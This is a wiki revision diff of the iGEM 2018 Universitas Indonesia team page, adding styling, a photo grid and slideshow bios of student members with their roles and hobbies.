Edwinlawisan (Talk | contribs) |
Edwinlawisan (Talk | contribs) |
||
Line 1: | Line 1: | ||
− | |||
− | <html lang="en"> | + | <!DOCTYPE html> |
+ | <html lang="en" dir="ltr" class="client-nojs"> | ||
+ | <head> | ||
+ | <meta charset="UTF-8" /> | ||
+ | <title>Team:UI Indonesia/Team - 2018.igem.org</title> | ||
+ | <meta name="generator" content="MediaWiki 1.24.1" /> | ||
+ | <link rel="shortcut icon" href="/favicon.ico" /> | ||
+ | <link rel="search" type="application/opensearchdescription+xml" href="/wiki/opensearch_desc.php" title="2018.igem.org (en)" /> | ||
+ | <link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css"> | ||
+ | <link rel="EditURI" type="application/rsd+xml" href="https://2018.igem.org/wiki/api.php?action=rsd" /> | ||
+ | <link rel="alternate" hreflang="x-default" href="/Team:UI_Indonesia/Team" /> | ||
+ | <link rel="copyright" href="http://creativecommons.org/licenses/by/3.0/" /> | ||
+ | <link rel="alternate" type="application/atom+xml" title="2018.igem.org Atom feed" href="/wiki/index.php?title=Special:RecentChanges&feed=atom" /> | ||
+ | <link rel="stylesheet" href="https://2018.igem.org/wiki/load.php?debug=false&lang=en&modules=mediawiki.legacy.commonPrint%2Cshared%7Cmediawiki.skinning.content.externallinks%7Cmediawiki.skinning.interface%7Cmediawiki.ui.button%7Cskins.igem.styles&only=styles&skin=igem&*" /> | ||
+ | <!--[if IE 6]><link rel="stylesheet" href="/wiki/skins/Igem/IE60Fixes.css?303" media="screen" /><![endif]--> | ||
+ | <!--[if IE 7]><link rel="stylesheet" href="/wiki/skins/Igem/IE70Fixes.css?303" media="screen" /><![endif]--><meta name="ResourceLoaderDynamicStyles" content="" /> | ||
+ | <style>a:lang(ar),a:lang(kk-arab),a:lang(mzn),a:lang(ps),a:lang(ur){text-decoration:none} | ||
+ | /* cache key: 2018_igem_org:resourceloader:filter:minify-css:7:4954c207eac863ca01279ce65317a567 */</style> | ||
+ | <script src="https://2018.igem.org/wiki/load.php?debug=false&lang=en&modules=startup&only=scripts&skin=igem&*"></script> | ||
+ | <script>if(window.mw){ | ||
+ | mw.config.set({"wgCanonicalNamespace":"","wgCanonicalSpecialPageName":false,"wgNamespaceNumber":0,"wgPageName":"Team:UI_Indonesia/Team","wgTitle":"Team:UI Indonesia/Team","wgCurRevisionId":218210,"wgRevisionId":218210,"wgArticleId":5537,"wgIsArticle":true,"wgIsRedirect":false,"wgAction":"view","wgUserName":null,"wgUserGroups":["*"],"wgCategories":[],"wgBreakFrames":false,"wgPageContentLanguage":"en","wgPageContentModel":"wikitext","wgSeparatorTransformTable":["",""],"wgDigitTransformTable":["",""],"wgDefaultDateFormat":"dmy","wgMonthNames":["","January","February","March","April","May","June","July","August","September","October","November","December"],"wgMonthNamesShort":["","Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],"wgRelevantPageName":"Team:UI_Indonesia/Team","wgIsProbablyEditable":false,"wgRestrictionEdit":[],"wgRestrictionMove":[],"wgWikiEditorEnabledModules":{"toolbar":false,"dialogs":false,"hidesig":true,"preview":false,"previewDialog":false,"publish":false}}); | ||
+ | }</script><script>if(window.mw){ | ||
+ | mw.loader.implement("user.options",function($,jQuery){mw.user.options.set({"ccmeonemails":0,"cols":80,"date":"default","diffonly":0,"disablemail":0,"editfont":"default","editondblclick":0,"editsectiononrightclick":0,"enotifminoredits":0,"enotifrevealaddr":0,"enotifusertalkpages":1,"enotifwatchlistpages":1,"extendwatchlist":0,"fancysig":0,"forceeditsummary":0,"gender":"unknown","hideminor":0,"hidepatrolled":0,"imagesize":2,"math":1,"minordefault":0,"newpageshidepatrolled":0,"nickname":"","norollbackdiff":0,"numberheadings":0,"previewonfirst":0,"previewontop":1,"rcdays":7,"rclimit":50,"rows":25,"showhiddencats":0,"shownumberswatching":1,"showtoolbar":1,"skin":"igem","stubthreshold":0,"thumbsize":5,"underline":2,"uselivepreview":0,"usenewrc":1,"watchcreations":1,"watchdefault":1,"watchdeletion":0,"watchlistdays":3,"watchlisthideanons":0,"watchlisthidebots":0,"watchlisthideliu":0,"watchlisthideminor":0,"watchlisthideown":0,"watchlisthidepatrolled":0,"watchmoves":0,"watchrollback":0, | ||
+ | "wllimit":250,"useeditwarning":1,"prefershttps":1,"language":"en","variant-gan":"gan","variant-iu":"iu","variant-kk":"kk","variant-ku":"ku","variant-shi":"shi","variant-sr":"sr","variant-tg":"tg","variant-uz":"uz","variant-zh":"zh","searchNs0":true,"searchNs1":false,"searchNs2":false,"searchNs3":false,"searchNs4":false,"searchNs5":false,"searchNs6":false,"searchNs7":false,"searchNs8":false,"searchNs9":false,"searchNs10":false,"searchNs11":false,"searchNs12":false,"searchNs13":false,"searchNs14":false,"searchNs15":false,"variant":"en"});},{},{});mw.loader.implement("user.tokens",function($,jQuery){mw.user.tokens.set({"editToken":"+\\","patrolToken":"+\\","watchToken":"+\\"});},{},{}); | ||
+ | /* cache key: 2018_igem_org:resourceloader:filter:minify-js:7:c2a6e0f393444edcfe542f485c3692c2 */ | ||
+ | }</script> | ||
+ | <script>if(window.mw){ | ||
+ | mw.loader.load(["mediawiki.page.startup","mediawiki.legacy.wikibits","mediawiki.legacy.ajax"]); | ||
+ | }</script> | ||
+ | </head> | ||
+ | <body class="mediawiki ltr sitedir-ltr ns-0 ns-subject page-Team_UI_Indonesia_Team skin-igem action-view"> | ||
+ | |||
+ | <script type='text/javascript' src ='/common/tablesorter/jquery.tablesorter.min.js'></script> | ||
+ | <link rel='stylesheet' type='text/css' href='/common/tablesorter/themes/groupparts/style.css' /> | ||
+ | <link rel='stylesheet' type='text/css' href='/common/table_styles.css' /> | ||
+ | |||
+ | <script type='text/javascript' src ='/wiki/skins/Igem/resources/2018_skin.js'></script> | ||
+ | |||
+ | |||
+ | <div id='globalWrapper'> | ||
+ | <div id='top_menu_under' class='noprint'></div> | ||
+ | <div id='top_menu_14' class='noprint'>Loading menubar.....</div> <!-- Will be replaced with the jQuery.load --> | ||
+ | <script>jQuery('#top_menu_14').load('https://2018.igem.org/cgi/top_menu_14/menubar_reply.cgi', | ||
+ | { t:"Team%3AUI%20Indonesia%2FTeam", | ||
+ | a:"View+%2FTeam%3AUI_Indonesia%2FTeam++View source+%2Fwiki%2Findex.php%3Ftitle%3DTeam%3AUI_Indonesia%2FTeam%26action%3Dedit++History+%2Fwiki%2Findex.php%3Ftitle%3DTeam%3AUI_Indonesia%2FTeam%26action%3Dhistory++Page+%2FTeam%3AUI_Indonesia%2FTeam++Discussion+%2Fwiki%2Findex.php%3Ftitle%3DTalk%3ATeam%3AUI_Indonesia%2FTeam%26action%3Dedit%26redlink%3D1++" }); | ||
+ | </script> | ||
+ | |||
+ | <!-- Content div contains HQ_page for HQ styles, Logo and title div, and USER CONTENT --> | ||
+ | <div id="content" class="mw-body" role="main"> | ||
+ | <a id="top"></a> | ||
+ | |||
+ | <div id="top_title"> | ||
+ | <div class="logo_2018"> | ||
+ | <a href="https://2018.igem.org"> | ||
+ | <img src="https://static.igem.org/mediawiki/2018/8/8b/HQ_page_logo.jpg" width="100px"> | ||
+ | </a> | ||
+ | </div> | ||
+ | |||
+ | <h1 id="firstHeading" class="firstHeading"> | ||
+ | <span dir="auto">Team:UI Indonesia/Team</span> | ||
+ | </h1> | ||
+ | </div> | ||
+ | |||
+ | <div id="HQ_page"> | ||
+ | <div id="bodyContent"> | ||
+ | <div id="mw-content-text" lang="en" dir="ltr" class="mw-content-ltr"><p> | ||
+ | <style> | ||
+ | |||
+ | /* Start general reset ================================================== */ | ||
+ | |||
+ | body { | ||
+ | font-size: inherit; | ||
+ | background-color: #ffffff; | ||
+ | color: #000000; | ||
+ | padding: 0; | ||
+ | } | ||
+ | |||
+ | div#globalWrapper { | ||
+ | font-size: inherit; | ||
+ | margin: 0; | ||
+ | padding: 0; | ||
+ | position: static; | ||
+ | width: auto; | ||
+ | background-color: #ffffff; | ||
+ | } | ||
+ | |||
+ | #everything { | ||
+ | background-color: #ffffff | ||
+ | } | ||
+ | |||
+ | .circle { | ||
+ | position: absolute; | ||
+ | top: 500px; | ||
+ | left: 900px; | ||
+ | height: 50px; | ||
+ | width: 50px; | ||
+ | background-color: #4CAF50; | ||
+ | border-radius: 50%; | ||
+ | } | ||
+ | |||
+ | /* Start top-section reset ============================================== */ | ||
+ | |||
+ | div#top-section { | ||
+ | border: 0; | ||
+ | height: auto; | ||
+ | margin: 0; | ||
+ | position: static; | ||
+ | width: auto; | ||
+ | } | ||
+ | |||
+ | div#p-logo { | ||
+ | height: auto; | ||
+ | position: static; | ||
+ | width: auto; | ||
+ | z-index: auto; | ||
+ | } | ||
+ | |||
+ | div#p-logo a, div#p-logo a:hover { | ||
+ | text-decoration: none; | ||
+ | } | ||
+ | |||
+ | div#menubar { | ||
+ | font-family: inherit; | ||
+ | font-size: inherit; | ||
+ | line-height: inherit; | ||
+ | position: static; | ||
+ | top: 0px; | ||
+ | #595959-space: normal; | ||
+ | width: auto; | ||
+ | z-index: auto; | ||
+ | } | ||
+ | |||
+ | div.left-menu, div.left-menu a { | ||
+ | color: #595959; | ||
+ | left: 0; | ||
+ | text-align: left; | ||
+ | text-transform: none; | ||
+ | } | ||
+ | |||
+ | div#menubar ul { | ||
+ | color: #595959; | ||
+ | list-style: disc outside none; | ||
+ | margin: 0; | ||
+ | padding: 0; | ||
+ | } | ||
+ | |||
+ | div#menubar li { | ||
+ | cursor: auto; | ||
+ | display: list-item; | ||
+ | padding: 0; | ||
+ | margin: 0; | ||
+ | position: static; | ||
+ | } | ||
+ | |||
+ | div.left-menu li a { | ||
+ | padding: 0; | ||
+ | } | ||
+ | |||
+ | div.left-menu:hover { | ||
+ | color: #595959; | ||
+ | background-color: transparent; | ||
+ | } | ||
+ | |||
+ | div.left-menu:hover a { | ||
+ | color: #595959; | ||
+ | } | ||
+ | |||
+ | div.right-menu, div.right-menu a { | ||
+ | color: #595959; | ||
+ | right: 0; | ||
+ | text-align: left; | ||
+ | } | ||
+ | |||
+ | div.right-menu li a { | ||
+ | background-color: transparent; | ||
+ | color: #595959; | ||
+ | padding: 0; | ||
+ | } | ||
+ | |||
+ | div.right-menu li a:hover { | ||
+ | color: #595959; | ||
+ | text-decoration: none; | ||
+ | } | ||
+ | |||
+ | div#search-controls { | ||
+ | background-color: transparent; | ||
+ | height: auto; | ||
+ | position: static; | ||
+ | right: 0; | ||
+ | text-align: left; | ||
+ | top: 0; | ||
+ | width: auto; | ||
+ | z-index: auto; | ||
+ | } | ||
+ | |||
+ | |||
+ | /* Start content reset ================================================== */ | ||
+ | |||
+ | div#content { | ||
+ | |||
+ | color: #595959; | ||
+ | |||
+ | } | ||
+ | |||
+ | body li { | ||
+ | margin: 0; | ||
+ | } | ||
+ | |||
+ | body h1, body h2, body h3, body h4, body h5, body h6 { | ||
+ | background: transparent; | ||
+ | border: 0; | ||
+ | color: #595959; | ||
+ | padding: 0; | ||
+ | } | ||
+ | |||
+ | body .firstHeading { | ||
+ | margin: 0; | ||
+ | } | ||
+ | |||
+ | div#contentSub { | ||
+ | color: #595959; | ||
+ | font-size: inherit; | ||
+ | line-height: inherit; | ||
+ | margin: 0; | ||
+ | width: auto; | ||
+ | } | ||
+ | |||
+ | div#catlinks { | ||
+ | background-color: transparent; | ||
+ | border: 0; | ||
+ | clear: both; | ||
+ | margin: 0; | ||
+ | padding: 0; | ||
+ | } | ||
+ | |||
+ | /* Start footer reset =================================================== */ | ||
+ | |||
+ | div#footer-box { | ||
+ | background-color: transparent; | ||
+ | border: 0; | ||
+ | margin: 0; | ||
+ | padding: 0; | ||
+ | width: auto; | ||
+ | } | ||
+ | |||
+ | div#footer { | ||
+ | color: #595959; | ||
+ | font-size: inherit; | ||
+ | text-align: left; | ||
+ | } | ||
+ | |||
+ | div#f-poweredbyico, div#f-copyrightico { | ||
+ | float: none; | ||
+ | } | ||
+ | |||
+ | div#footer li { | ||
+ | margin: 0; | ||
+ | display: list-item; | ||
+ | } | ||
+ | </style> | ||
+ | <style> | ||
+ | #sideMenu{ | ||
+ | width: 200px; | ||
+ | position: absolute; | ||
+ | top: 20px; | ||
+ | left: 1020px; | ||
+ | z-index: 10; | ||
+ | padding-top: 0px; | ||
+ | padding-bottom: 15px; | ||
+ | padding-left: 15px; | ||
+ | padding-right: 15px; | ||
+ | background-color: #595959; | ||
+ | text-align: left; | ||
+ | display: none; | ||
+ | z-index: 9996; | ||
+ | } | ||
+ | #content{ | ||
+ | width: 100%; | ||
+ | padding: 0px; | ||
+ | margin-left: 0px; | ||
+ | margin-top:0px; | ||
+ | } | ||
+ | #top_title{ | ||
+ | overflow: hidden; | ||
+ | display: none; | ||
+ | } | ||
+ | #top_menu_14{ | ||
+ | height: 20px; | ||
+ | } | ||
+ | #top_menu_under{ | ||
+ | height: 0px; | ||
+ | } | ||
+ | #globalWrapper{ | ||
+ | padding-bottom: 20px; | ||
+ | } | ||
+ | #HQ_page p { | ||
+ | font-size: 16px; | ||
+ | } | ||
+ | |||
+ | .fa { | ||
+ | padding: 20px; | ||
+ | font-size: 20px; | ||
+ | width: 12px; | ||
+ | text-align: center; | ||
+ | } | ||
+ | |||
+ | </style> | ||
+ | </p><p> | ||
<head> | <head> | ||
Line 11: | Line 317: | ||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"> | <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"> | ||
</head> | </head> | ||
+ | |||
<style> | <style> | ||
body,h1,h2,h3,h4,h5,h6 {font-family: "Lato", sans-serif;} | body,h1,h2,h3,h4,h5,h6 {font-family: "Lato", sans-serif;} | ||
Line 166: | Line 473: | ||
<a href="https://2018.igem.org/Team:UI_Indonesia/HumanPractices#campuscampaign">Campus Campaign</a> | <a href="https://2018.igem.org/Team:UI_Indonesia/HumanPractices#campuscampaign">Campus Campaign</a> | ||
<a href="https://2018.igem.org/Team:UI_Indonesia/HumanPractices#socialwork">Social Work</a> | <a href="https://2018.igem.org/Team:UI_Indonesia/HumanPractices#socialwork">Social Work</a> | ||
− | <a href="https://2018.igem.org/Team:UI_Indonesia/HumanPractices#biotraining">Biosafety & Biosecurity Training</a> | + | <a href="https://2018.igem.org/Team:UI_Indonesia/HumanPractices#biotraining">Biosafety & Biosecurity Training</a> |
<a href="https://2018.igem.org/Team:UI_Indonesia/HumanPractices#catalogue">Human Practice Catalogue</a> | <a href="https://2018.igem.org/Team:UI_Indonesia/HumanPractices#catalogue">Human Practice Catalogue</a> | ||
</div> | </div> | ||
Line 201: | Line 508: | ||
</div> | </div> | ||
− | <div class="w3-content w3-container | + | |
− | + | <!--------------------------------------------------------------------------------------> | |
− | + | ||
+ | <style> | ||
+ | |||
+ | * {box-sizing: border-box} | ||
+ | body {font-family: Verdana, sans-serif; margin:0} | ||
+ | .mySlides {display: none} | ||
+ | img {vertical-align: middle;} | ||
+ | |||
+ | /* Slideshow container */ | ||
+ | .slideshow-container { | ||
+ | max-width: 1000px; | ||
+ | position: relative; | ||
+ | margin: auto; | ||
+ | } | ||
+ | |||
+ | /* Next & previous buttons */ | ||
+ | .prev, .next { | ||
+ | cursor: pointer; | ||
+ | position: absolute; | ||
+ | top: 50%; | ||
+ | width: auto; | ||
+ | padding: 16px; | ||
+ | margin-top: -22px; | ||
+ | color: white; | ||
+ | font-weight: bold; | ||
+ | font-size: 18px; | ||
+ | transition: 0.6s ease; | ||
+ | border-radius: 0 3px 3px 0; | ||
+ | } | ||
+ | |||
+ | /* Position the "next button" to the right */ | ||
+ | .next { | ||
+ | right: 0; | ||
+ | border-radius: 3px 0 0 3px; | ||
+ | } | ||
+ | |||
+ | /* On hover, add a black background color with a little bit see-through */ | ||
+ | .prev:hover, .next:hover { | ||
+ | background-color: rgba(0,0,0,0.8); | ||
+ | } | ||
+ | |||
+ | /* Caption text */ | ||
+ | .text { | ||
+ | color: #f2f2f2; | ||
+ | font-size: 15px; | ||
+ | padding: 8px 12px; | ||
+ | position: absolute; | ||
+ | bottom: 8px; | ||
+ | width: 100%; | ||
+ | text-align: center; | ||
+ | } | ||
+ | |||
+ | /* Number text (1/3 etc) */ | ||
+ | .numbertext { | ||
+ | color: #f2f2f2; | ||
+ | font-size: 12px; | ||
+ | padding: 8px 12px; | ||
+ | position: absolute; | ||
+ | top: 0; | ||
+ | } | ||
+ | |||
+ | /* The dots/bullets/indicators */ | ||
+ | .dot { | ||
+ | cursor: pointer; | ||
+ | height: 15px; | ||
+ | width: 15px; | ||
+ | margin: 0 2px; | ||
+ | background-color: #bbb; | ||
+ | border-radius: 50%; | ||
+ | display: inline-block; | ||
+ | transition: background-color 0.6s ease; | ||
+ | } | ||
+ | |||
+ | .active, .dot:hover { | ||
+ | background-color: #717171; | ||
+ | } | ||
+ | |||
+ | /* Fading animation */ | ||
+ | .fade { | ||
+ | -webkit-animation-name: fade; | ||
+ | -webkit-animation-duration: 1.5s; | ||
+ | animation-name: fade; | ||
+ | animation-duration: 1.5s; | ||
+ | } | ||
+ | |||
+ | @-webkit-keyframes fade { | ||
+ | from {opacity: .4} | ||
+ | to {opacity: 1} | ||
+ | } | ||
+ | |||
+ | @keyframes fade { | ||
+ | from {opacity: .4} | ||
+ | to {opacity: 1} | ||
+ | } | ||
+ | |||
+ | /* On smaller screens, decrease text size */ | ||
+ | @media only screen and (max-width: 300px) { | ||
+ | .prev, .next,.text {font-size: 11px} | ||
+ | } | ||
+ | |||
+ | .col-container { | ||
+ | display: table; | ||
+ | width: 100%; | ||
+ | } | ||
+ | .col { | ||
+ | display: table-cell; | ||
+ | padding: 16px; | ||
+ | } | ||
+ | </style> | ||
+ | |||
+ | <div align="center"><h1 style="color:green;font-size:100px;margin:30px;height:100px"><br>MEET THE TEAM</h1></div> | ||
+ | |||
+ | <div class="w3-content w3-container"> | ||
+ | <div><h5 class="w3-center">Driven by kindred spirit and compassion, these fourteen undergraduate students from University of Indonesia (UI) are solemnly pledged to turn their mutual dreams into reality. Get to know them better, shall we?<br><br></div> | ||
+ | |||
+ | <div class="w3-content w3-container w3-padding-64"> | ||
+ | |||
<!-- Responsive Grid. Four columns on tablets, laptops and desktops. Will stack on mobile devices/small screens (100% width) --> | <!-- Responsive Grid. Four columns on tablets, laptops and desktops. Will stack on mobile devices/small screens (100% width) --> | ||
<div class="w3-row-padding w3-center"> | <div class="w3-row-padding w3-center"> | ||
− | <div class="w3-col | + | <div class="w3-col m2"> |
− | <img src="https://static.igem.org/mediawiki/2018/1/1e/T--UI_Indonesia--memberniki.jpg" style="width:100% | + | <img src="https://static.igem.org/mediawiki/2018/1/1e/T--UI_Indonesia--memberniki.jpg" style="width:100%;border-radius:50%"> |
</div> | </div> | ||
− | <div class="w3-col | + | <div class="w3-col m2"> |
− | <img src="https://static.igem.org/mediawiki/2018/e/e8/T--UI_Indonesia--membervaldi.jpg" style="width:100% | + | <img src="https://static.igem.org/mediawiki/2018/e/e8/T--UI_Indonesia--membervaldi.jpg" style="width:100%;border-radius:50%"> |
</div> | </div> | ||
− | <div class="w3-col | + | <div class="w3-col m2"> |
− | <img src="https://static.igem.org/mediawiki/2018/3/34/T--UI_Indonesia--memberandre.jpg" style="width:100% | + | <img src="https://static.igem.org/mediawiki/2018/3/34/T--UI_Indonesia--memberandre.jpg" style="width:100%;border-radius:50%"> |
</div> | </div> | ||
− | <div class="w3-col | + | <div class="w3-col m2"> |
− | <img src="https://static.igem.org/mediawiki/2018/0/07/T--UI_Indonesia--memberaby.jpg" style="width:100%" | + | <img src="https://static.igem.org/mediawiki/2018/0/07/T--UI_Indonesia--memberaby.jpg" style="width:100%;border-radius:50%"> |
+ | </div> | ||
+ | <div class="w3-col m2"> | ||
+ | <img src="https://static.igem.org/mediawiki/2018/0/08/T--UI_Indonesia--memberiqbal.jpg" style="width:100%;border-radius:50%"> | ||
+ | </div> | ||
+ | <div class="w3-col m2"> | ||
+ | <img src="https://static.igem.org/mediawiki/2018/d/d9/T--UI_Indonesia--memberreysa.jpg" style="width:100%;border-radius:50%"> | ||
</div> | </div> | ||
</div> | </div> | ||
<div class="w3-row-padding w3-center w3-section"> | <div class="w3-row-padding w3-center w3-section"> | ||
− | |||
− | |||
− | |||
− | <div class="w3-col | + | <div class="w3-col m2"> |
− | <img src="https://static.igem.org/mediawiki/2018/ | + | <img src="https://static.igem.org/mediawiki/2018/2/29/T--UI_Indonesia--memberihya.jpg" style="width:100%;border-radius:50%"> |
</div> | </div> | ||
− | <div class="w3-col | + | <div class="w3-col m2"> |
− | <img src="https://static.igem.org/mediawiki/2018/ | + | <img src="https://static.igem.org/mediawiki/2018/9/91/T--UI_Indonesia--memberjesfar.jpg" style="width:100%;border-radius:50%"> |
</div> | </div> | ||
− | + | ||
− | + | <div class="w3-col m2"> | |
− | <img src="https://static.igem.org/mediawiki/2018/ | + | <img src="https://static.igem.org/mediawiki/2018/8/8e/T--UI_Indonesia--memberikhsan.jpg" style="width:100%;border-radius:50%"> |
</div> | </div> | ||
− | |||
− | + | <div class="w3-col m2"> | |
− | <div class="w3-col | + | <img src="https://static.igem.org/mediawiki/2018/1/15/T--UI_Indonesia--memberainun.jpg" style="width:100%;border-radius:50%"> |
− | <img src="https://static.igem.org/mediawiki/2018/ | + | |
</div> | </div> | ||
− | <div class="w3-col | + | <div class="w3-col m2"> |
− | <img src="https://static.igem.org/mediawiki/2018/1/ | + | <img src="https://static.igem.org/mediawiki/2018/1/14/T--UI_Indonesia--membergaluh.jpg" style="width:100%;border-radius:50%"> |
</div> | </div> | ||
− | <div class="w3-col | + | <div class="w3-col m2"> |
− | + | <img src="https://static.igem.org/mediawiki/2018/d/d9/T--UI_Indonesia--memberglory.jpg" style="width:100%;border-radius:50%"> | |
− | + | ||
− | + | ||
− | + | ||
− | <img src="https://static.igem.org/mediawiki/2018/d/d9/T--UI_Indonesia--memberglory.jpg" style="width:100% | + | |
</div> | </div> | ||
</div> | </div> | ||
<div class="w3-row-padding w3-center w3-section"> | <div class="w3-row-padding w3-center w3-section"> | ||
− | <div class="w3-col | + | <div class="w3-col m2"><p style="color:white;">asd</p></div> |
− | <img src="https://static.igem.org/mediawiki/2018/4/47/T--UI_Indonesia--memberedwin.jpg" style="width:100% | + | <div class="w3-col m2"><p style="color:white;">asd</p></div> |
+ | <div class="w3-col m2"> | ||
+ | <img src="https://static.igem.org/mediawiki/2018/4/47/T--UI_Indonesia--memberedwin.jpg" style="width:100%;border-radius:50%"> | ||
</div> | </div> | ||
− | <div class="w3-col | + | <div class="w3-col m2"> |
− | <img src="https://static.igem.org/mediawiki/2018/5/5a/T--UI_Indonesia--membermitta.jpg" style="width:100% | + | <img src="https://static.igem.org/mediawiki/2018/5/5a/T--UI_Indonesia--membermitta.jpg" style="width:100%;border-radius:50%"> |
</div> | </div> | ||
+ | <div class="w3-col m2"><p style="color:white;">asd</p></div> | ||
+ | <div class="w3-col m2"><p style="color:white;">asd</p></div> | ||
</div> | </div> | ||
</div> | </div> | ||
+ | |||
+ | |||
+ | |||
+ | |||
+ | |||
+ | |||
+ | |||
+ | |||
+ | <!--slide--> | ||
+ | <div class="slideshow-container w3-padding-10" height="100%" style="border-top-style:solid;border-top-color:lightgreen;border-left-style:solid;border-left-color:lightgreen"> | ||
− | < | + | <div class="mySlides fade col-container" height="100%"> |
− | <div | + | <div class="numbertext">1 / 14</div> |
− | + | <div class="col"><img src="https://static.igem.org/mediawiki/2018/1/1e/T--UI_Indonesia--memberniki.jpg" style="width:300px"></span></div> | |
− | + | <div class="col" style="vertical-align:middle"><b>Nuikita Wachid (Niki)</b><br><em>Team Manager</em><br>Niki is a Nursing student in her senior year. She is managing team funding for this project and helping team leader manage team. Her hobby is making creative contents through social media platforms like Instagram, Twitter, and Youtube. Her dream is to enroll into Ivy League's postgraduate program.</div> | |
− | + | </div> | |
− | + | ||
− | + | <div class="mySlides fade col-container" height="100%"> | |
+ | <div class="numbertext">2 / 14</div> | ||
+ | <div class="col"><img src="https://static.igem.org/mediawiki/2018/e/e8/T--UI_Indonesia--membervaldi.jpg" style="width:300px"></div> | ||
+ | <div class="col" style="vertical-align:middle"><b>Valdi Ven Japranata</b><br><em>Team Leader</em><br>Valdi is a third-year student majoring Medicine. As a team leader, he supervises every divisions’ progress and keeps his team members’ enthusiasm. He is also part of the Wet Lab division. He likes to spend his spare time doing handcrafts, playing his little guitar, and listening to music. Lana Del Rey, Ed Sheeran, and Selena Gomez are some artists in his playlist. He aspires to be dermatologist in the future and develop his own skincare products."</div> | ||
+ | </div> | ||
+ | |||
+ | <div class="mySlides fade col-container" height="100%"> | ||
+ | <div class="numbertext">3 / 14</div> | ||
+ | <div class="col"><img src="https://static.igem.org/mediawiki/2018/3/34/T--UI_Indonesia--memberandre.jpg" style="width:300px"></span></div> | ||
+ | <div class="col" style="vertical-align:middle"><b>Andrea Laurentius (Andre)</b><br><em>Wet Lab Division</em><br>Andrea is a second-year Medical student in Universitas Indonesia. Molecular engineering and surgery is his whole new level of ambitions. He loves to spend time in gyms and laboratories, and he is eagerly looking forward to the Giant Jamboree!</div> | ||
+ | </div> | ||
+ | |||
+ | <div class="mySlides fade col-container" height="100%"> | ||
+ | <div class="numbertext">4 / 14</div> | ||
+ | <div class="col"><img src="https://static.igem.org/mediawiki/2018/0/07/T--UI_Indonesia--memberaby.jpg" style="width:300px"></span></div> | ||
+ | <div class="col" style="vertical-align:middle"><b>Luthfian Aby Nurachman (Aby)</b><br><em>Vice Team Leader</em><br>Aby is a second-year undergraduate studying Medicine in Universitas Indonesia. He holds great passion and enthusiasm in his path on becoming a great physicist. He enjoys sleeping and relaxing in his spare time. He also enjoys melon so much.</div> | ||
+ | </div> | ||
+ | |||
+ | <div class="mySlides fade col-container" height="100%"> | ||
+ | <div class="numbertext">5 / 14</div> | ||
+ | <div class="col"><img src="https://static.igem.org/mediawiki/2018/0/08/T--UI_Indonesia--memberiqbal.jpg" style="width:300px"></span></div> | ||
+ | <div class="col" style="vertical-align:middle"><b>Muhammad Iqbal Adi Pratama (Iqbal)</b><br><em>Wet Lab Division</em><br>Iqbal is a second-year Medical undergraduate in Universitas Indonesia. Apart from his main interest in Biology and Medicine, he likes to watch random YouTube videos about history in his spare time.</div> | ||
+ | </div> | ||
+ | |||
+ | <div class="mySlides fade col-container" height="100%"> | ||
+ | <div class="numbertext">6 / 14</div> | ||
+ | <div class="col"><img src="https://static.igem.org/mediawiki/2018/d/d9/T--UI_Indonesia--memberreysa.jpg" style="width:300px"></span></div> | ||
+ | <div class="col" style="vertical-align:middle"><b>Reysa Anggraini Vestiana Putri</b><br><em>Wet Lab Division</em><br>Reysa is a third-year Bio-Process Engineering student in Universitas Indonesia. She loves to eat spicy Indonesian foods such as rendang and “ayam geprek”. She eats a lot, and yet she still maintains a fairly thin body. She believes that is because of workout routines she does every morning. In her spare time, she usually makes crafts or watches videos on YouTube to fulfill her curiosities.</div> | ||
+ | </div> | ||
+ | |||
+ | <div class="mySlides fade col-container" height="100%"> | ||
+ | <div class="numbertext">7 / 14</div> | ||
+ | <div class="col"><img src="https://static.igem.org/mediawiki/2018/2/29/T--UI_Indonesia--memberihya.jpg" style="width:300px"></span></div> | ||
+ | <div class="col" style="vertical-align:middle"><b>Ihya Fakhrurizal Amin</b><br><em>Dry Lab Division</em><br>Ihya is a second-year undergraduate majoring Medicine in Universitas Indonesia. He loves playing role-playing games, drawing weird creatures, and reading manga (i.e. Japanese comics) in his leisure time.</div> | ||
+ | </div> | ||
+ | |||
+ | <div class="mySlides fade col-container" height="100%"> | ||
+ | <div class="numbertext">8 / 14</div> | ||
+ | <div class="col"><img src="https://static.igem.org/mediawiki/2018/9/91/T--UI_Indonesia--memberjesfar.jpg" style="width:300px"></span></div> | ||
+ | <div class="col" style="vertical-align:middle"><b>Jessica Farah</b><br><em>Dry Lab Division</em><br>Jessica is a third-year student majoring in Chemical Engineering. She just discovered onion rings by the age of 20 and currently, she is obsessed with it! She loves playing gmaes as she is now waiting for the localized version of Dragon Quest XI and Kingdom Hearts III, and cannot wait to play them.</div> | ||
+ | </div> | ||
+ | |||
+ | <div class="mySlides fade col-container" height="100%"> | ||
+ | <div class="numbertext">9 / 14</div> | ||
+ | <div class="col"><img src="https://static.igem.org/mediawiki/2018/8/8e/T--UI_Indonesia--memberikhsan.jpg" style="width:300px"></span></div> | ||
+ | <div class="col" style="vertical-align:middle"><b>Muhammad Ikhsan (Ikhsan)</b><br><em>Dry Lab Division</em><br>Ikhsan is a freshman majoring Biology. He admits to be the kind of person that doesn’t enjoy sports and arts that much, though he often watches films and listens to music in his spare time. He enjoys eating durian and “lele” (catfish). In general, his favorite moodboster is seeing colorful flowers around him.</div> | ||
+ | </div> | ||
+ | |||
+ | <div class="mySlides fade col-container" height="100%"> | ||
+ | <div class="numbertext">10 / 14</div> | ||
+ | <div class="col"><img src="https://static.igem.org/mediawiki/2018/1/15/T--UI_Indonesia--memberainun.jpg" style="width:300px"></span></div> | ||
+ | <div class="col" style="vertical-align:middle"><b>Ainun Rahmania</b><br><em>Policy and Practice Division</em><br>Ainun is a third-year student majoring Chemical Engineering in Universitas Indonesia. One of her dreams is to travel around the world because she likes to meet new people. Moreover, she loves to play futsal, shown with three gold medals she earned in various futsal competitions.</div> | ||
+ | </div> | ||
+ | |||
+ | <div class="mySlides fade col-container" height="100%"> | ||
+ | <div class="numbertext">11 / 14</div> | ||
+ | <div class="col"><img src="https://static.igem.org/mediawiki/2018/1/14/T--UI_Indonesia--membergaluh.jpg" style="width:300px"></span></div> | ||
